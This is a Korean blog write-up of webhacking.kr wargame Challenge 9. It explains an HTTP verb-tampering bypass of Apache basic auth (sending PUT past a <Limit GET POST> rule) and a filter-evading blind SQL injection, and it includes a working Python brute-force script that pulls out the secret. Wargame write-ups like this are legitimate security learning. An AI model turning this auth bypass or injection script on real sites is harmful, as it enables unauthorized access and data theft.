늘모자란, 개발 :: [webhacking.kr] Challenge 9

늘모자란, 개발

이번 문제는 900점짜리. 그간 풀었던거 세개는 더해야 나오는 고수준의 문제로 추정된다.
일단 문제를 누르면 역대급으로 얼탱이가 없다.



이번 문제는 문제를 보여주지도 않고 basic auth를 요구한다. 뭐 볼 껀덕지가 없으니 raw를 보도록하자.

GET http://webhacking.kr/challenge/web/web-09/ HTTP/1.1
Host: webhacking.kr
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:44.0) Gecko/20100101 Firefox/44.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: ko,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://webhacking.kr/index.php?mode=challenge
Cookie: PHPSESSID=
Connection: keep-alive


평범하다. sql injection world라는데 나도 여기서 헤매서 검색을 해보니 얘는 애초에 대상이 아니었다 ㅡㅡ
먼저 이녀석을 설명하기전에 간단히 http header를 설명하는 시간을 가져보자.

http request method는 가장 많이 알고 있는 GET, POST외에 놀랍게도(?) 더 있다
http 1.1 RFC에 따르면 다음과 같다.
잘 정의된 REST API 들은 아래 HTTP method를 충실히 지키고 있지만, 사실 대부분 GET으로 처리하고 있다.
이 글을 이녀석을 어떻게 돌파하는지에 대한 설명이니까 자세히는 설명하지않겠고, 잘 설명된 글은 이곳에 있으니 한번 읽어봐도 좋을 것 같다.

글을 한번쯤 읽어봤다는 가정하에 설명하자면, 이 basic auth에는 치명적인 약점이 있다.
바로 method를 GET과 POST에만 한정짓고 있다는 것.
이 auth를 돌파하기 위해 다음과 같이 request를 조작한다. 다른건 없다. method만 바뀐다.

PUT http://webhacking.kr/challenge/web/web-09/ HTTP/1.1


사실 좀 기상천외한 방법이다.
왜 이런 일이 일어나느냐? Apache의 설정이 미숙한 관리자에 의해 발생한다..

     <Directory >
         Options FollowSymLinks
         AllowOverride All
         Order allow,deny
         Allow from all
         AuthType Basic
         AuthName "sql injection world"
         AuthUserFile /.htpasswd
         Require valid-user
     </Directory>


위는 대략적인 apache의 basic auth를 설정하는 구문인데, 옛날에는 이를 limit하는 구문이 있었다고 한다. 대략 이런느낌이다.


AuthType Basic
 AuthName "Login plz ^-^"
 AuthUserFile /usr/local/apache/passwd/passwords
 <Limit GET POST>
         Require valid-user
 </Limit>


위와 같이 limit를 걸게되면 method를 제한하게 되고 결국 PUT, OPTIONS와 같이 크게 알려지지 않은 http method에 의해 구멍이날 수 있다는 것이다. (옛날엔 저렇게 설정하는게 일반적이었다고 한다. 해결방법은 그냥 첫 예시처럼 limit를 넣지 않으면 모든 method에 대해 동작한다)

좀 멀리 돌아왔지만, PUT으로 헤더를 변경해 보내게 되면 아까처럼 인증창을 요구하지 않고, 즉시 응답을 보내준다.



<html>
<head>
<title>Challenge 9</title>
</head>
<body>
<a href=?no=1>1</a>&nbsp;<a href=?no=2>2</a>&nbsp;<a href=?no=3>3</a>&nbsp;<form method=get action=index.php>
Password : <input type=text size=10 maxlength=11 name=pw><input type=submit>
</form>
</body>
</html>


하지만 여전히 산넘어 산이다. 이제부터 sql injection을 해야된다.



소스로만 봤을땐 method가 GET이므로 폼을 넘겨줘도 당연히 basic auth가 뜰테고, 클릭할 수 있게 되있는 1,2,3은 무엇을 의미할까?

클릭별로 반환되는 데이터는
1: Apple (with form)
2: Banana (with form)
3: Secret hint : length = 11 column: id,no
4~: (form)

처음에는 form의 pw에 값을 넣어서 보내봤는데 아무래도 소용이 없다.
하긴 애초에 form은 GET이기때문에 접근할 수 조차 없게 되있다. 결국 no를 사용해야 할 것 같다.
그래서 아주 간단하게, no에 or 1=1을 넣어서 보내봤더니,

Access Denied가 날아왔다. 고로 no를 써야겠다는 생각은 드는데..
이전에 했던 문제중 http header injection을 이용한 문제를 떠올려보자. 맞다 아니다는 알려주지 않았지만 0과 1을 이용해 구분을 했었다.
이 문제도 Apple과 Banana로 구분되고 있다. mysql 프로시저를 짜봤으면 알겠지만 mysql도 IF라는 녀석이 있다.
예시 구문을 만들어 날려보자.

PUT http://webhacking.kr/challenge/web/web-09/index.php?no=IF(1>2,1,2) HTTP/1.1


Denied가 날아온다. >가 필터링 되고 있다. 따라서 >, <, = 는 못쓴다고 봐야할 것 같다. STRCMP 등도 고려해봤으나 괜찮은 답이 안나와서 결국 IN을 쓰기로 했다. 어떻게 비교가 되긴하는것 같았다.

이후 한글자식 잘라서 비교를 하려는데 ascii라는 단어가 필터링되어있다. (Access Denied)
테스트해보니 ord도 안되고, hex, char도 안된다. 결국 찾다 찾다가 hex값으로 비교하기로 했다. (이외의 방법은 거의 없는 것 같다...)

여기서 함정이 있다

나는 apple과 banana로 true/false를 구분하려고 했는데, 페이지 반환을 1,2로 할 경우 값이 다르게 나온다.
length를 때려보면 알 수 있지만, IF 값을 줄때는 3,0 을 주도록 하자. 3일경우에만 제대로 나온다!
여기서 삽질을 좀 ....... 욕밖에 안나오네

python code는 다음과 같이 짰다

#!/usr/bin/env python
# -*- coding: utf8 -*-

import urllib2

pw = ''
for i in range(1,12):
    for j in range(97,126):
        opener = urllib2.build_opener(urllib2.HTTPHandler)
        url = "http://webhacking.kr/challenge/web/web-09/index.php?no=IF(substr(id,{},1)in({}),3,0)".format(i,hex(j))
        request = urllib2.Request(url)
        request.add_header('Cookie', 'PHPSESSID=')
        request.get_method = lambda: 'PUT'
        url = opener.open(request)
        #print url.read()
        if "Secret" in url.read():
            pw = pw + chr(j)
            print chr(j)

print pw


패스워드를 얻을 수 있는데, 이 패스워드를 GET 파라미터에 실어서 보내주면 문제가 해결된다.

<html>
<head>
<title>Challenge 9</title>
</head>
<body>
<script>alert('Congratulation!');</script><center><h1><br><br><hr><font color=gray>You have cleared the 9 problems.</font><br><br><font color=green><b>Score + 900</b></font><br><hr></h1></center>




사실 이 문제는 시작부터 어떻게 해야할지 감이 안와서 여러 풀이 방법을 참고 하긴했는데,
여러 MYSQL function에 대해 보게 된 계기이기도 하다.

솔직히 말해서, PUT등으로 공격할 수 있는 사이트는 이제 전무하다고 생각한다...
2016/03/08 18:05 2016/03/08 18:05